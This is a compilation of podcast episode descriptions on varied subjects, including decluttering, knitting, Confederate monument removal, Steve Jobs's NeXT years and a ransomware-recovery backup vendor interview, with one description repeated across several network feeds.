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As always, I’m taking time off during the summer. We’re sharing the audio of previous live Q&As that I did on YouTube. If you only listen to the podcast, this will be all new to you! We’ll be back to our regular format mid-August. This episode includes my answers to questions about ADHD and object […] The post 514: ADHD and Object Permanence, Generational Family Photos, and Grief and Clutter appeared first on Dana K. White: A Slob Comes Clean.
ONE OF THE WORST IN A WHILE, Frank GASLIGHTS Debby in WAR OF THE ROSES with all of us and all of you listening live in your cars. The angry mob of reactions came in faster than they ever have before. Thank you for listening and exposing this behavior! TODAY ON THE SHOW, Nic started working out at Orange Theory and Johnjay has MANY questions. Also, Daphne caught her BF cheating as well, due to LOVE ISLAND! Then, We asked YOU has ANYONE had to OBJECT at a Wedding?!? Plus, KYLES PRICE OF FAME GAME and BEAT SHAZAM... MINUTE TO WIN IT AND MORE!See omnystudio.com/listener for privacy information.
See omnystudio.com/listener for privacy information.
Episode 191 June 4, 2026 On the Needles 1:42 ALL KNITTING LINKS GO TO RAVELRY UNLESS OTHERWISE NOTED. Please visit our Instagram page @craftcookreadrepeat for non-Rav photos and info Vesna Tee by Ksenia Naidyon/Life is Cozy, Shel Designs Finito Fingering in Tutti Frutti and Shel Designs Suri Silk Lace in seafoam Cuff Club Vol. 2 Socks (march) by Summer Lee, Seismic Yarn & Dyeworks Butter Sock in why did the frog cross the road and mini: To see what the chicken was doing – DONE!! OMG Heel Socks by Megan Williams, Knit Picks Felici in Silent Film On the Easel 9:07 CONNECTIONS TODAY! Calendar is a GO! Which means I'm painting envelopes this summer, and aiming for an OIL-paint theme. On the Table 18:47 Rainbow Rave Cookies from Cookies by NYT Strawberry Frosted Sugar Cookies - by Yossy Arefi I Dream of Dinner– May cookbook Chicken with So Much Garlic Green Curry Meatball Soup (this is not exactly the same as the one I made from her book, but similar) Simple pork tenderloin with garden rosemary Steak marinade–24 hour. On the Nightstand 31:47 We are now a Bookshop.org affiliate! You can visit our shop to find books we've talked about or click on the links below. The books are supplied by local independent bookstores and a percentage goes to us at no cost to you! Antiquarian's Object of Desire by India Holton The Duke by Anna Cowan The Lost Book of Elizabeth Barton by Jennifer N. Brown Everyone in this Bank is a Thief by Benjamin Stevenson The In Crowd by Charlotte Vassell (audio) The Fine Art of Lying by Alexandra Andrews Mostly Hero by Anna Burns The Briars by Sarah Crouch Celestial Lights by Cecile Pin Bingo 52:27 Starts friday may 22, ends Mon Sept 7 Need to post a photo of completed Bingo with #CCRRsummerbingo2026 to instagram or Ravelry. Get a blackout for a second entry. Monica's Bingo Debut author: lost book of elizabeth barton Read something american: voter information pamphlet and my primary ballot! Cortney's Bingo: Let someone else cook: Steaks on the grill Read an award NOMINEE: Celestial Lights
Martin Padgett wrote the feature essay “Object Permanence” for the fall 2025 issue of Gravy Quarterly, our sister publication. In the piece, he catalogs the objects we live with actively, those we tolerate like inanimate roommates, and those we give away, sometimes to make room for the new. We liked it so much that we asked them to read it for Gravy podcast listeners. To read other engaging essays in Gravy, have it shipped to your mailbox by becoming an SFA member at southernfoodways.org, or sign up for a subscription at Hub City Book Shop. Learn more about your ad choices. Visit megaphone.fm/adchoices
Inanimate objects do all the heavy lifting this week, selling everything from AI to email marketing. Plus, a brand apologizes so hard that Andrew is embarrassed for ever liking it, and we all say farewell to one of the greats from commercial history. Here are links to the ads we talked about in this week's show: Geico - Wallet https://www.ispot.tv/ad/gZdG/geico-wallet All State - Tree Branch https://www.ispot.tv/ad/gpiw/allstate-mayhem-tree-branch Google Gemini - Mr. Fuzzy https://www.ispot.tv/ad/Bhml/gemini-mr-fuzzy Is the other person talking the AI?! Ovo Energy - When things attack https://youtu.be/L3V53gxfJ9o?si=8UEcckIx6cRXGod8 Mail Chimp - Cut a Rug https://www.ispot.tv/ad/2NsI/mailchimp-guess-less-sell-more Coca-Cola - Evil chairs https://youtu.be/PMLjHwwpAdg?si=81MQ-gy_VygYDQvv Burger King: You're The King Now https://www.ispot.tv/ad/gGDV/burger-king-theres-a-new-king-and-its-you Gold Blend compilation https://youtu.be/jsN4YwbM9kw?si=dn5L3mfaB9nb1c0m Liquid Paper - Micheal Nesmith's Mom https://www.youtube.com/watch?v=QJL7BcGLZqU
We hear what happens when someone objects during a wedding (at least in Minnesota) plus on the anniversary of the Sopranos finale are still arguing over if it's a good finale or not and MN United FC' s Devin Padelford with some tips on watching the World Cup, what it's like to play for the team he grew up watching and the 90s bands he discovered after refurbishing a turntable with his dad. See omnystudio.com/listener for privacy information.
At Infosecurity Europe in London, Pete Hannah, VP of Sales for Western Europe at Object First, joins Sean Martin to reframe a question many organizations still get wrong. The issue is not only how to keep ransomware out, but how quickly you can recover once it gets in. With Europe's regulatory landscape tightening, that distinction is becoming the difference between disruption and disaster. What does the UK Cyber Security and Resilience Bill actually demand? According to Pete Hannah, it reads less like a checklist and more like an operational resilience standard. It expects organizations to manage threats, prove they have tested their recovery plans, and treat resilience as a board-level responsibility with real financial penalties. More than ninety percent of the bill already applies in practice, so waiting for it to become law is a risk in itself. Why do backups matter so much? Because more than ninety percent of cyberattacks target them first. Pete Hannah explains that "immutable" has become a marketing word, and the meaningful test is whether anyone still holds the access to destroy protected data. Object First answers that with absolute immutability, independently tested, with zero destructive access for admins or compromised accounts. That protection is purpose-built for Veeam environments through the Ootbi appliance, the resilient bunker that stays standing even when every password is known and every other system is compromised. When recovery is guaranteed, teams stop worrying about whether they will recover and focus instead on how fast. How does a stretched IT team adopt this without adding overhead? Pete Hannah describes deployment as taking the appliance out of the box, racking it, connecting it, and pointing backups at it. For boards and CISOs under budget and resource pressure, simplicity is the selling point. It is easy to manage, easy to prove, and dependable when it matters. The proof is in the field. Pete Hannah shares stories of customers who survived worst-case scenarios because Object First was the only thing left standing, and one who tracked him down simply to say thank you. In an era where AI is accelerating attacks and a single compromised password has bankrupted companies, knowing you can recover is the new definition of good enough. This is a Brand Spotlight. A Brand Spotlight is a ~15 minute conversation designed to explore the guest, their company, and what makes their approach unique. Learn more: https://www.studioc60.com/creation#spotlight GUEST Pete Hannah, VP of Sales, Western Europe, Object First LinkedIn: https://www.linkedin.com/in/peterhannah/ RESOURCES Learn more about Object First: https://objectfirst.com Ootbi by Object First (Out-of-the-Box Immutability): https://objectfirst.com Watch: Anthony Cusimano of Object First at RSAC Conference: https://youtu.be/LMWuZ_NH1lA Infosecurity Europe 2026 event coverage: https://www.itspmagazine.com/infosecurity-europe-2026-infosec-london-cybersecurity-event-coverage Are you interested in telling your story? ▶︎ Full Length Brand Story: https://www.studioc60.com/content-creation#full ▶︎ Brand Spotlight Story: https://www.studioc60.com/content-creation#spotlight ▶︎ Brand Highlight Story: https://www.studioc60.com/content-creation#highlight ▶︎ Get your own Brand Briefing at an upcoming event: https://www.studioc60.com/buy-brand-briefings KEYWORDS Pete Hannah, Object First, Ootbi, Sean Martin, brand story, brand marketing, marketing podcast, brand spotlight, immutable backup storage, ransomware recovery, Veeam backup, absolute immutability, Cyber Security and Resilience Bill, cyber resilience, data protection, operational resilience, backup and recovery, Infosecurity Europe 2026 Hosted by Simplecast, an AdsWizz company. See pcm.adswizz.com for information about our collection and use of personal data for advertising.
Scripture: Psalm 105; Psalm 119:1-16 Text: Heidelberg Catechism, Lord's Day 34 Theme: We are called to love our God and love Him alone.
Link Up w/The Morning Sickness Digitally All Over:Instagram: @hms_98_official, @bosskupd, @bretvesely, @dickToledoX/Twitter: @HMSon98, @DickToledo, @bretveselyFacebook: @HMSKUPDYouTube: @hmspodcast9320, @98kupdRequest/Call in/Wakeup Song line:(IN AZ) 602.585.9800More HMS: holmbergpodcast.com, 98kupd.comEmail: dtoledo@98kupd.com, bvesely@98kupd.com, bbogen@98kupd.comSee Privacy Policy at https://art19.com/privacy and California Privacy Notice at https://art19.com/privacy#do-not-sell-my-info.
David Cunningham joins John to speak about his pathbreaking article about visiting each of the 113 communities that removed or relocated Confederate symbols between 2015 and 2023. After discussing his co-authored Social Problems article, “Contesting Commemorative Landscapes” which first got him thinking about monument removal, he posits that “expungement, amplification, and repositioning” are three ways contemporary communities contest the monuments of the past.. The conversation from there ranges onward through various kinds of contested removal, ending with Cesar Chavez and his ongoing de-monumentalization. David is author of There's Something Happening Here: The New Left, the Klan, and FBI Counterintelligence and the award-winning Klansville, U.S.A.: The Rise and Fall of the Civil Rights-Era KKK,, a member of the City of St. Louis Reparations Commission and recently has been engaged in exploring political signalling in public art and monuments, including a forthcoming article on the political and cultural work of murals in Protestant and Catholic communities and in the interface areas that connect them in Belfast. His earlier Recall This Book episodes include on racialized policing in the US, on January 6th , and also on the 2024 presidential election–and a conversation with Glenn Patterson, author of Lapsed Protestant about the mural culture and politicized spaces of Belfast and Northern Ireland. Read the episode here. Mentioned in the episode By David Cunmningham himself: “What Richmond got Right about taking down Confederate Monuments” and a 2023 article coauthored with Christina Simko, “Montgomery's Monumental Truths” On place vs space there is wonderful work by Pierre Nora and Henri Lefebvre. Interface zones and the strategic cul de sacs that continue to divide Belfast neighborhoods have been brilliantly detailed and studied by various historians; eg this tour by Neil Jarman. The lucid John Guillory article (mentioned but not discussed) is “Monuments and Documents: On the Object of Study in the Humanities.” Confederate generals whose statues were erected essentially to glorify the KKK famously include Nathaniel Bedford Forrest. Private parks built up to collect Confederate monuments (with an underlying anti-government bias) include North Carolina's Valor Memorial Park, and in Texas the SS American Memorial Foundation's military retreat space now adorned with removed Confederate statues. In Bentonville, this park glorifies a Confederate statue that has now been (dubiously) linked to Governor James H. Berry. The MOCA/Brick reimagined MONUMENTS Exhibition includes work by Kara Walker and Bethany Collins. https://www.nps.gov/boaf/learn/historyculture/shaw.htm Sylva North Carolina Confederate plaque debate. Kazuo Ishiguro, The Buried Giant and the Nietzschean problem of “creative forgetting.” The idea of Productive creative cognitive dissonance is drawn from MLK's idea of “creative tension.” Hajar Yazdiha, Struggle for the People's King How long will the Chavez National Monument last? The statue at UC Fresno is already gone…” Is The Trail of Tears a historical site the same way Confederate statues are? Denmark Vescey's Garden by Ethan J. Kytle and, Blain RobertsZore Neale Hurston Their Eyes were Watching God Learn more about your ad choices. Visit megaphone.fm/adchoices Support our show by becoming a premium member! https://newbooksnetwork.supportingcast.fm/new-books-network
David Cunningham joins John to speak about his pathbreaking article about visiting each of the 113 communities that removed or relocated Confederate symbols between 2015 and 2023. After discussing his co-authored Social Problems article, “Contesting Commemorative Landscapes” which first got him thinking about monument removal, he posits that “expungement, amplification, and repositioning” are three ways contemporary communities contest the monuments of the past.. The conversation from there ranges onward through various kinds of contested removal, ending with Cesar Chavez and his ongoing de-monumentalization. David is author of There's Something Happening Here: The New Left, the Klan, and FBI Counterintelligence and the award-winning Klansville, U.S.A.: The Rise and Fall of the Civil Rights-Era KKK,, a member of the City of St. Louis Reparations Commission and recently has been engaged in exploring political signalling in public art and monuments, including a forthcoming article on the political and cultural work of murals in Protestant and Catholic communities and in the interface areas that connect them in Belfast. His earlier Recall This Book episodes include on racialized policing in the US, on January 6th , and also on the 2024 presidential election–and a conversation with Glenn Patterson, author of Lapsed Protestant about the mural culture and politicized spaces of Belfast and Northern Ireland. Read the episode here. Mentioned in the episode By David Cunmningham himself: “What Richmond got Right about taking down Confederate Monuments” and a 2023 article coauthored with Christina Simko, “Montgomery's Monumental Truths” On place vs space there is wonderful work by Pierre Nora and Henri Lefebvre. Interface zones and the strategic cul de sacs that continue to divide Belfast neighborhoods have been brilliantly detailed and studied by various historians; eg this tour by Neil Jarman. The lucid John Guillory article (mentioned but not discussed) is “Monuments and Documents: On the Object of Study in the Humanities.” Confederate generals whose statues were erected essentially to glorify the KKK famously include Nathaniel Bedford Forrest. Private parks built up to collect Confederate monuments (with an underlying anti-government bias) include North Carolina's Valor Memorial Park, and in Texas the SS American Memorial Foundation's military retreat space now adorned with removed Confederate statues. In Bentonville, this park glorifies a Confederate statue that has now been (dubiously) linked to Governor James H. Berry. The MOCA/Brick reimagined MONUMENTS Exhibition includes work by Kara Walker and Bethany Collins. https://www.nps.gov/boaf/learn/historyculture/shaw.htm Sylva North Carolina Confederate plaque debate. Kazuo Ishiguro, The Buried Giant and the Nietzschean problem of “creative forgetting.” The idea of Productive creative cognitive dissonance is drawn from MLK's idea of “creative tension.” Hajar Yazdiha, Struggle for the People's King How long will the Chavez National Monument last? The statue at UC Fresno is already gone…” Is The Trail of Tears a historical site the same way Confederate statues are? Denmark Vescey's Garden by Ethan J. Kytle and, Blain RobertsZore Neale Hurston Their Eyes were Watching God Learn more about your ad choices. Visit megaphone.fm/adchoices
David Cunningham joins John to speak about his pathbreaking article about visiting each of the 113 communities that removed or relocated Confederate symbols between 2015 and 2023. After discussing his co-authored Social Problems article, “Contesting Commemorative Landscapes” which first got him thinking about monument removal, he posits that “expungement, amplification, and repositioning” are three ways contemporary communities contest the monuments of the past.. The conversation from there ranges onward through various kinds of contested removal, ending with Cesar Chavez and his ongoing de-monumentalization. David is author of There's Something Happening Here: The New Left, the Klan, and FBI Counterintelligence and the award-winning Klansville, U.S.A.: The Rise and Fall of the Civil Rights-Era KKK,, a member of the City of St. Louis Reparations Commission and recently has been engaged in exploring political signalling in public art and monuments, including a forthcoming article on the political and cultural work of murals in Protestant and Catholic communities and in the interface areas that connect them in Belfast. His earlier Recall This Book episodes include on racialized policing in the US, on January 6th , and also on the 2024 presidential election–and a conversation with Glenn Patterson, author of Lapsed Protestant about the mural culture and politicized spaces of Belfast and Northern Ireland. Read the episode here. Mentioned in the episode By David Cunmningham himself: “What Richmond got Right about taking down Confederate Monuments” and a 2023 article coauthored with Christina Simko, “Montgomery's Monumental Truths” On place vs space there is wonderful work by Pierre Nora and Henri Lefebvre. Interface zones and the strategic cul de sacs that continue to divide Belfast neighborhoods have been brilliantly detailed and studied by various historians; eg this tour by Neil Jarman. The lucid John Guillory article (mentioned but not discussed) is “Monuments and Documents: On the Object of Study in the Humanities.” Confederate generals whose statues were erected essentially to glorify the KKK famously include Nathaniel Bedford Forrest. Private parks built up to collect Confederate monuments (with an underlying anti-government bias) include North Carolina's Valor Memorial Park, and in Texas the SS American Memorial Foundation's military retreat space now adorned with removed Confederate statues. In Bentonville, this park glorifies a Confederate statue that has now been (dubiously) linked to Governor James H. Berry. The MOCA/Brick reimagined MONUMENTS Exhibition includes work by Kara Walker and Bethany Collins. https://www.nps.gov/boaf/learn/historyculture/shaw.htm Sylva North Carolina Confederate plaque debate. Kazuo Ishiguro, The Buried Giant and the Nietzschean problem of “creative forgetting.” The idea of Productive creative cognitive dissonance is drawn from MLK's idea of “creative tension.” Hajar Yazdiha, Struggle for the People's King How long will the Chavez National Monument last? The statue at UC Fresno is already gone…” Is The Trail of Tears a historical site the same way Confederate statues are? Denmark Vescey's Garden by Ethan J. Kytle and, Blain RobertsZore Neale Hurston Their Eyes were Watching God Learn more about your ad choices. Visit megaphone.fm/adchoices Support our show by becoming a premium member! https://newbooksnetwork.supportingcast.fm/american-studies
David Cunningham joins John to speak about his pathbreaking article about visiting each of the 113 communities that removed or relocated Confederate symbols between 2015 and 2023. After discussing his co-authored Social Problems article, “Contesting Commemorative Landscapes” which first got him thinking about monument removal, he posits that “expungement, amplification, and repositioning” are three ways contemporary communities contest the monuments of the past.. The conversation from there ranges onward through various kinds of contested removal, ending with Cesar Chavez and his ongoing de-monumentalization. David is author of There's Something Happening Here: The New Left, the Klan, and FBI Counterintelligence and the award-winning Klansville, U.S.A.: The Rise and Fall of the Civil Rights-Era KKK,, a member of the City of St. Louis Reparations Commission and recently has been engaged in exploring political signalling in public art and monuments, including a forthcoming article on the political and cultural work of murals in Protestant and Catholic communities and in the interface areas that connect them in Belfast. His earlier Recall This Book episodes include on racialized policing in the US, on January 6th , and also on the 2024 presidential election–and a conversation with Glenn Patterson, author of Lapsed Protestant about the mural culture and politicized spaces of Belfast and Northern Ireland. Read the episode here. Mentioned in the episode By David Cunmningham himself: “What Richmond got Right about taking down Confederate Monuments” and a 2023 article coauthored with Christina Simko, “Montgomery's Monumental Truths” On place vs space there is wonderful work by Pierre Nora and Henri Lefebvre. Interface zones and the strategic cul de sacs that continue to divide Belfast neighborhoods have been brilliantly detailed and studied by various historians; eg this tour by Neil Jarman. The lucid John Guillory article (mentioned but not discussed) is “Monuments and Documents: On the Object of Study in the Humanities.” Confederate generals whose statues were erected essentially to glorify the KKK famously include Nathaniel Bedford Forrest. Private parks built up to collect Confederate monuments (with an underlying anti-government bias) include North Carolina's Valor Memorial Park, and in Texas the SS American Memorial Foundation's military retreat space now adorned with removed Confederate statues. In Bentonville, this park glorifies a Confederate statue that has now been (dubiously) linked to Governor James H. Berry. The MOCA/Brick reimagined MONUMENTS Exhibition includes work by Kara Walker and Bethany Collins. https://www.nps.gov/boaf/learn/historyculture/shaw.htm Sylva North Carolina Confederate plaque debate. Kazuo Ishiguro, The Buried Giant and the Nietzschean problem of “creative forgetting.” The idea of Productive creative cognitive dissonance is drawn from MLK's idea of “creative tension.” Hajar Yazdiha, Struggle for the People's King How long will the Chavez National Monument last? The statue at UC Fresno is already gone…” Is The Trail of Tears a historical site the same way Confederate statues are? Denmark Vescey's Garden by Ethan J. Kytle and, Blain RobertsZore Neale Hurston Their Eyes were Watching God Learn more about your ad choices. Visit megaphone.fm/adchoices Support our show by becoming a premium member! https://newbooksnetwork.supportingcast.fm/american-south
Jason Goldschmidt and Nick Connolly, co-chairs of SNIA's Accelerated Object TWG, discussed the importance of S3 over RDMA for AI processing. SNIAs work addresses industries need for faster data transfer to improve GPU utilization during model training and inferencing.
There are many reasons why Santana Maynard is an ideal choice to be a guest on this podcast. She is an actor, both on screen and behind the microphone doing voiceover for anime. She is a producer of live events for the FanExpo family of fandom conventions. And with her presences on Instagram, TikTok, Facebook, […] The post Luke Ski’s Animation & Stuff Podcast – Episode 16: I Object! – featuring Santana Maynard appeared first on The ESO Network.
Today Jake focuses on a single, powerful theme: Nothing Easy. The "Nothing Easy" Mentality for Defense Lawyers As a DWI defense attorney, the prosecution often has the deck stacked in its favor. The state is on offense, and in many DWI cases, both the facts and the law lean toward the prosecution. Don't forget the famous words of Carl Sandburg: "If the facts are against you, argue the law. If the law is against you, argue the facts. If the facts and the law are against you, pound the table and yell like hell." The Full Court Press Strategy James uses a basketball analogy — specifically referencing Shaka Smart's "Havoc" defense at VCU — to illustrate the full court press approach in the courtroom: Don't let the state walk the ball up the court unchallenged — press them from the very start. Object early and often — frequent objections disrupt the prosecutor's rhythm and throw officers off their scripted testimony. Force turnovers — the full court press won't work on every inbound, but if you employ the method throughout the game (or trial), you may force enough errors to change the outcome.
Fresh out of the studio, Geoffrey Cain, author of Steve Jobs in Exile and Samsung Rising, returns to the Analyse Podcast to argue that the twelve years between Jobs's 1985 ouster and his 1997 return to Apple were not a footnote but the forge. Drawing on private archives at Carnegie Mellon and Stanford, unbroadcast footage from inside NeXT, and interviews with the people who lived it, Cain reframes the wilderness decade as the cause, not the gap, in Jobs's transformation. We trace the NeXT collapse and the failed IBM licensing deal, the parallel crucible of Pixar where Catmull and Lasseter barred Jobs from creative meetings, and the deep Japanese and Zen influences — Akio Morita, Sony, the beginner's mind — that Isaacson and Schlender underplayed. We close on Apple at fifty, John Ternus's ascent, and what Jobs would have done with AI. "The successes that we see in the world for every iPhone there is, for every SpaceX rocket there are perhaps dozens or maybe even hundreds of failures behind that we don't see. And so the wilderness, as they call it, this is the greatest moment in the lives of many founders. It's the wilderness that we all have to go through before we can achieve greatness, and if we don't go through that, then we don't learn those lessons." - Geoffrey Cain Profile: Geoffrey Cain, author of "Steve Jobs in Exile"LinkedIn: https://www.linkedin.com/in/gcain/Personal Site: https://geoffreycain.net/Episode Highlights: [00:00] Quote of the Day by Geoffrey Cain, author of Steve Jobs in Exile [00:30] What Geoffrey has been up after his first book: Samsung Rising [04:05] Working in the US House on technology policy & rebuilding America's industrial base [04:50] De-industrialisation, and rebuilding America's industrial base [05:24] The central thesis on Steve Job's exile [07:13] The Steve Jobs we don't know — before the turtleneck and the iPhone[09:07] The wilderness — where every great founder is forged[12:30] The failed coup against John Sculley[14:10] Was Jobs early or wrong about what universities needed?[16:31] Object-oriented programming — the real innovation Jobs couldn't see[18:36] Jobs of 1997 was not the Jobs of 1985[20:00] Technology does not change the world — it makes things easier[22:38] The butterfly effect — if NeXT had gone differently, no iPhone[25:13] A failure of ego — Jobs versus the company he hated[28:49] NeXTstep — twenty years into the future in 1990[32:24] Pixar as the parallel crucible — bought for $5 million[35:25] Toy Story and the IPO that made Jobs a billionaire[38:57] What the NeXT and Pixar years really reveal[40:38] Three biographies, three frames — Isaacson, Schlender, Cain[45:26] Why NeXT became the ugly duckling of Apple lore[48:12] The Japanese influence Isaacson never pulled on[51:30] Apple at fifty — Ternus and the era of execution over reinvention[54:11] How Jobs would integrate AI — quiet, in the background[55:10] The Apple-Google Gemini partnership and swallowed pride[56:38] Jobs as second mover — Macintosh, iPhone, the bicycle for the mind[57:30] Why ChatGPT and Claude would look ugly to Jobs[1:00:30] What NeXT veterans say about the Ternus appointment[01:02:33] What success means for the book[01:03:13] Closing Podcast Information: Bernard Leong hosts and produces the show. The proper credits for the intro and end music are "Energetic Sports Drive." G. Thomas Craig mixed and edited the episode in both video and audio format. Here are the links to watch or listen to our podcast.Analyse Podcast Main Site: https://analysepodcast.com
The April 2026 New Music Train is prowling the northern part of South Carolina today, where Harris and Rachel King are taking us all on a musical journey. The soundtrack comes from new releases by Drivin' and Cryin', Object Hours, Acetone, White Fence and Nation of Language.Rockin' the Suburbs on Apple Podcasts/iTunes or other podcast platforms, including audioBoom, Spotify, Google Podcasts, Amazon, iHeart, Stitcher and TuneIn. Or listen at SuburbsPod.com. Please rate/review the show on Apple Podcasts and share it with your friends.Visit our website at SuburbsPod.comEmail Jim & Patrick at rock@suburbspod.comFollow us on the Threads, Facebook or Instagram @suburbspodIf you're glad or sad or high, call the Suburban Party Line — 612-440-1984.Theme music: "Ascension," originally by Quartjar, next covered by Frank Muffin and now re-done in a high-voltage version by Quartjar again! Visit quartjar.bandcamp.com and frankmuffin.bandcamp.com.
HD 210121 is a fairly ordinary blue star located behind a relatively thick cloud of interstellar gas and dust, providing astronomers with a unique opportinity to study that dust.
Welcome to The Times of Israel's Daily Briefing, your 20-minute audio update on what's happening in Israel, the Middle East and the Jewish world. Political correspondent Tal Schneider joins host Amanda Borschel-Dan for today's episode. The US and Iran are close to signing a deal involving a 60-day ceasefire extension, during which the Strait of Hormuz would be reopened, Iran would be able to freely sell oil, and negotiations would be held on curbing Iran’s nuclear program — including it giving up its stockpile of enriched uranium, the Axios news site reported on Sunday, citing a US official. Schneider gives insight into Israel's reaction to the potential deal and delves into what could happen on the Lebanon front: Is Hezbollah part of the package? A soldier was killed Friday by a drone near the Lebanese border, the Israel Defense Forces announced Saturday. The slain soldier was named as Staff Sgt. Noam Hamburger, 23, a technology and maintenance soldier in the 401st Brigade, from Atlit in northern Israel. Schneider underlines that this occurred on Israeli soil, where Hezbollah drone attacks are still an everyday occurrence for residents of the north. On Friday night, Yashar! party head Gadi Eisenkot gave his first major interview in recent memory to the Uvda TV news magazine. We hear what was said -- and unsaid. Since the establishment of the State of Israel, young women, from the age of 18, have been obligated to enlist in the IDF. We learn about how the ranks of female fighters have swelled in the past decade -- and the intense backlash from the religious community. Schneider brings us an update from this morning, which illustrates this delicate balance. Check out The Times of Israel's ongoing liveblog for more updates. For further reading: US-Iran deal said to open strait for 60 days, Iran to discuss giving up enriched uranium Trump says deal with Iran ‘largely negotiated, will be announced shortly,’ Hormuz will be opened Liberman slams emerging Iran deal, accuses Netanyahu of failing to win war ‘on any front’ Soldier killed in northern Israel by Hezbollah drone from Lebanon Female troops are under assault, and not just in Bnei Brak Subscribe to The Times of Israel Daily Briefing on Apple Podcasts, Spotify, YouTube, or wherever you get your podcasts. This episode was produced by Ari Schlacht.See omnystudio.com/listener for privacy information.
By Monte Kim Boykin - This message reveals that the Ultimate Power to overcome doubt, fear, worry, anxiety, and unbelief in the Christian life is directly proportional and totally dependent on the legitimacy of and strength of our trust in the "The Object of our Faith!" The message defines the "Unseen Reality" which Is
Send us Fan MailEver had one of those messages that just doesn't seem quite right? A piece of writing that feels almost human? Some of the links for this episode includeThe Caelen Conrad video about the Florida University shootingChatGPT is Bullshit from the University of GlasgowThe Uncanny Valley - MIT ThesisEroding the Uncanny Valley - BPSThe uncanny valley effect in embodied conversational agents Object personification in autism: This paper will be very sad if you don't read it LegalEagle - Lawyer who used ChatGPTAs ever we thank you, our loyal listeners for sticking with us. We would love to hear from you so look for our contact details in your podcast app or via our website.
Everyone worships something. The rock star, the ideology, the bottle of wine, the beautiful person across the room. Dostoevsky identified it as an incessant, painful longing: so long as man remains free, he strives for nothing so persistently as to find someone worthy of complete surrender. We have free will — and where we invest our affection becomes our most important choice. In this episode Raghunath and Kaustubha explore that longing alongside the Vedic text's most sacred passage — where the gopi girls of Vrindavan invest everything in the very source of rasa itself. Srimad Bhagavatam 10.29.12-19 ******************************************************************** LOVE THE PODCAST? WE ARE COMMUNITY SUPPORTED AND WOULD LOVE FOR YOU TO JOIN! Go to https://www.wisdomofthesages.com WATCH ON YOUTUBE: https://youtube.com/@WisdomoftheSages LISTEN ON ITUNES: https://podcasts/apple.com/us/podcast/wisdom-of-the-sages/id1493055485 CONNECT ON FACEBOOK: https://facebook.com/wisdomofthesages108 *********************************************************************
Everyone worships something. The rock star, the ideology, the bottle of wine, the beautiful person across the room. Dostoevsky identified it as an incessant, painful longing: so long as man remains free, he strives for nothing so persistently as to find someone worthy of complete surrender. We have free will — and where we invest our affection becomes our most important choice. In this episode Raghunath and Kaustubha explore that longing alongside the Vedic text's most sacred passage — where the gopi girls of Vrindavan invest everything in the very source of rasa itself. Srimad Bhagavatam 10.29.12-19 ******************************************************************** LOVE THE PODCAST? WE ARE COMMUNITY SUPPORTED AND WOULD LOVE FOR YOU TO JOIN! Go to https://www.wisdomofthesages.com WATCH ON YOUTUBE: https://youtube.com/@WisdomoftheSages LISTEN ON ITUNES: https://podcasts/apple.com/us/podcast/wisdom-of-the-sages/id1493055485 CONNECT ON FACEBOOK: https://facebook.com/wisdomofthesages108 *********************************************************************
Hard to talk aerial surfing, these days, without coughing up the name Hughie Vaughan. Harder still to believe he's only 19 years old. He's really taken flight, if you will, over the past few years. The original seed for the Bottle Rockets division. Entered Stab High Lakey Peak as a tiny 15-year-old and levitated around the comp-site like a garden bird. Proved he could hang with fully grown men despite weighing the same as a damp towel. Couple years later, Japan 2025, Hughie comes of age and wins the men's title, a spear tackle from Mikey Wright to seal it. Then: the Hughie Flip at The Nines, reshared and baptised by Tony Hawk. Mainstream television appearances in Australia followed; Hughie now a nationally recognised flying object. A day out from the opening horn of Stab High Virginia Beach presented by Monster Energy, and we get the former champ and in many circles, the overwhelming favourite, Hughie Vaughan. He discusses all there is to discuss about aerial surfing, including his current top air guys on earth, what he sees as the limitations of competitive surfing, and a genuinely moving section on family and the lessons left behind by his late mother.
Rev. Kenneth Bomberger gives today's prayerful thought based on the day's Scripture readings. Begin your morning in word and prayer with Rev. Kenneth Bomberger, who shares scripture, hymns, prayers, and texts for the day, and also gives a short meditation on the day's scripture lessons. Submit comments or questions to: listener@kfuo.org
What if the designer's real job isn't to design the object at all? In this episode, hosts Giulia Donatello and Lee-Sean Huang sit down with Todd Bracher -- industrial designer, founder of Bracher and BetterLab, and author of two books -- to dig into a practice built on removing ego from the design process and letting context drive the answer. From a Pratt exam that accidentally changed his career, to a decade across four European countries, to unlocking a NASA scientist's 25-year-old patent, Todd makes the case that design's most powerful move is understanding the system before touching the object.In This EpisodeThe accidental industrial designer. Todd originally applied to Pratt Institute as an illustrator. A complex respirator brief on a Pratt entrance exam made him ask, "What is this thing?" The answer was industrial design, and he never looked back.Designing the context, not the tree. Todd's framework, laid out in his book Design in Context, argues that designers make a fundamental mistake when they start designing the object without first mapping the "governors" -- finance, legal, supply chain, competition, human needs -- that will ultimately determine the output. His metaphor: a tree's shape isn't an opinion, it's the result of its ecosystem. Design should work the same way.BetterLab and the patent moat problem. Many of the world's most promising scientific breakthroughs sit unused -- stuck in litigation, sitting in drawers, or bought up by companies with no intention of using them. BetterLab is Todd's venture platform to change that. One example: partnering with a former NASA scientist whose UVC light patent for hand sanitization had been sitting unused for 25 years.Visionary execution. The BetterLab manifesto holds that visionary solutions don't spread on merit alone; they require visionary execution. Getting design into the room with scientists, not just at the end of the process, is the intervention.Ergonomics as wellness. After nearly 20 years collaborating with Humanscale, Todd traces the shift from ergonomics as basic human measurement to ergonomics as a long-term health discipline. Humanscale's gravity mechanism does away with knobs and levers entirely, using the sitter's own body weight to instantly adjust the chair.Legacy brands in the age of AI. The competitive threat for heritage companies often isn't a competitor's product -- it's the experience gap. Consumers who use Spotify and Airbnb every day bring those expectations to every brand. Links & Resources Todd Bracher - https://toddbracher.com/ Observations, Research, and Design (Phaidon monograph) -- https://www.phaidon.com/en-us/products/observations-research-and-design | Use code NEW20 for a discountDesign in Context framework - https://toddbracher.com/bookField Notes: "The De-Evolution of a Business" -- https://toddbracher.com/field-notes/the-de-evolution-of-a-businessBetterLab - https://betterlab.comThe Measure of Man - https://ia801906.us.archive.org/34/items/TheMeasureOfManDreyfuss/The%20Measure%20of%20Man%20%28Dreyfuss%29_text.pdf 99% Invisible, "On Average" - https://99percentinvisible.org/episode/on-average/Humanscale - https://www.humanscale.com/ Action Office - https://www.hermanmiller.com/products/workspaces/workstations/action-office-system/About Todd BracherTodd Bracher is an industrial designer and founder of Bracher, a Brooklyn-based studio, and BetterLab, a research and design hub at the intersection of science and design. Named International Designer of the Year three times, he has designed products for Herman Miller, 3M, Zanotta, and Issey Miyake, holds over two dozen patents, and has brought more than 200 products to market. His 2025 book Design in Context is his framework for strategic differentiation through context-based design. His Phaidon monograph, Observations, Research, and Design, covers 25 years of insights, failures, and lessons learned.
